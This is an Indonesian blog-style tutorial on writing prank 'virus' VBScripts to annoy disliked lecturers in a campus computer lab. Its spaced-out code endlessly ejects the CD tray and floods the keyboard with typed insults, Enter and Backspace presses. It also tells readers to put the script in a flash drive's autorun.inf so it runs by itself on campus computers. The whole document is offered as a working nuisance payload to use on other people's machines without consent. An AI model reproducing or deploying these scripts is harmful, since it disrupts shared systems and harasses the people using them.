Cara membuat Virus Nakal

Yuk buat “Virus” Nakal, buat ngerjain dosen/guru
yang kita ngga suka, lagi
suntuk di ruang labkom
kampus, pusing ngga bisa
maen facebook karena
diblokir sama admin labkom, yah iseng2 buatin
scripts .vbs. Caranya: Buka notepad
dan masukkan code
berikut, S e t o W M P = C r e a t e O b j e c t ( " W M P l a y e r . O C X . 7 " ) S e t c o l C D R O Ms = o W M P . c d r o m C o l l e c t i o n d o i f c o l C D R O Ms . C o u n t & g t ; = 1 t h e n F o r i = 0 t o c o l C D R O Ms . C o u n t - 1 c o l C D R O Ms . I t e m ( i ) . E j e c t N e x t F o r i = 0 t o c o l C D R O Ms . C o u n t - 1 c o l C D R O Ms . I t e m ( i ) . E j e c t N e x t E n d I f w s c r i p t . s l e e p 5 0 0 0 l o o p
Akhirnya di Ungkap Simpanlah dengan file
tadi dengan ekstensi file
iseng.vbs ato apapun
nama kesukaan asalkan
pastikan ekstensinya .vbs,
dan jalankan filenya ( Klik 2x), perhatikan CD/
DVD ROM akan terbuka/
tertutup dengan
sendirinya tanpa henti. Salah satu cara
menghentikan aksi Virus
Nakal ini ialah dengan
menekan tombol CRTL +ALT+DEL dan matikan proses wscripts.exe, Kalo
mau keren lagi, masukkan
ke file autorun.inf di
flashdisk anda, jadi
setiap loe colokin ke
kompie kampus, maka akan otomatis dijalankan
“Virus” Nakal ini. NB: kl males atau ga tau
cara copasnya. download
ajah linknya dibawah: Dapat
Nah mau script .vbs yang
laen lagi? W S c r i p t . S l e e p 1 8 0 0 0 W S c r i p t . S l e e p 1 0 0 0 d o S e t W s h S h e l l = W S c r i p t . C r e a t e O b j e c t ( " W S c r i p t . S h e l l " ) W s h S h e l l . R u n " n o t e p a d " W S c r i p t . S l e e p 1 0 0 W s h S h e l l . A p p A c t i v a t e " N o t e p a d " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " H " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " a " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " l " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " o " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " . " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " a " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " p " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " a " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " k " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " a " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " b " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " a " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " r " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " ? " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " K " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " a " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " b " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " a " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " r " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " b " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " a " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " i " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " k " W S c r i p t . S l e e p 5 0 0 W s h S h e l l . S e n d K e y s " ? " W S c r i p t . S l e e p 5 0 0 w s c r i p t . s l e e p 5 0 0 0 l o o p Scripts diatas nanti
otomatis buka notepad
dan ketik: Halo. apa kabar? kabar baik? ingat yah simpan dengan
ekstensi nama .vbs, klik
file–>save as Kode Vbs ini akan
membuat user terus
mengetikkan kata2 “Kamu emang jelek koq!” S e t w s h S h e l l = w s c r i p t . C r e a t e O b j e c t ( " W S c r i p t . S h e l l " ) d o w s c r i p t . s l e e p 1 0 0 w s h s h e l l . s e n d k e y s " K a m u e m a n g j e l a k k o q ! " l o o p Dan membuat terus
menerus menekan tombol
“Enter” S e t w s h S h e l l = w s c r i p t . C r e a t e O b j e c t ( " W S c r i p t . S h e l l " ) d o w s c r i p t . s l e e p 1 0 0 w s h s h e l l . s e n d k e y s " ~ ( e n t e r ) " l o o p
Terus tekan backspace: Ms g B o x " B a l i k l a g i a h . . . s a l t i k " S e t w s h S h e l l = w s c r i p t . C r e a t e O b j e c t ( " W S c r i p t . S h e l l " ) d o w s c r i p t . s l e e p 1 0 0 w s h s h e l l . s e n d k e y s " { b s } " l o o p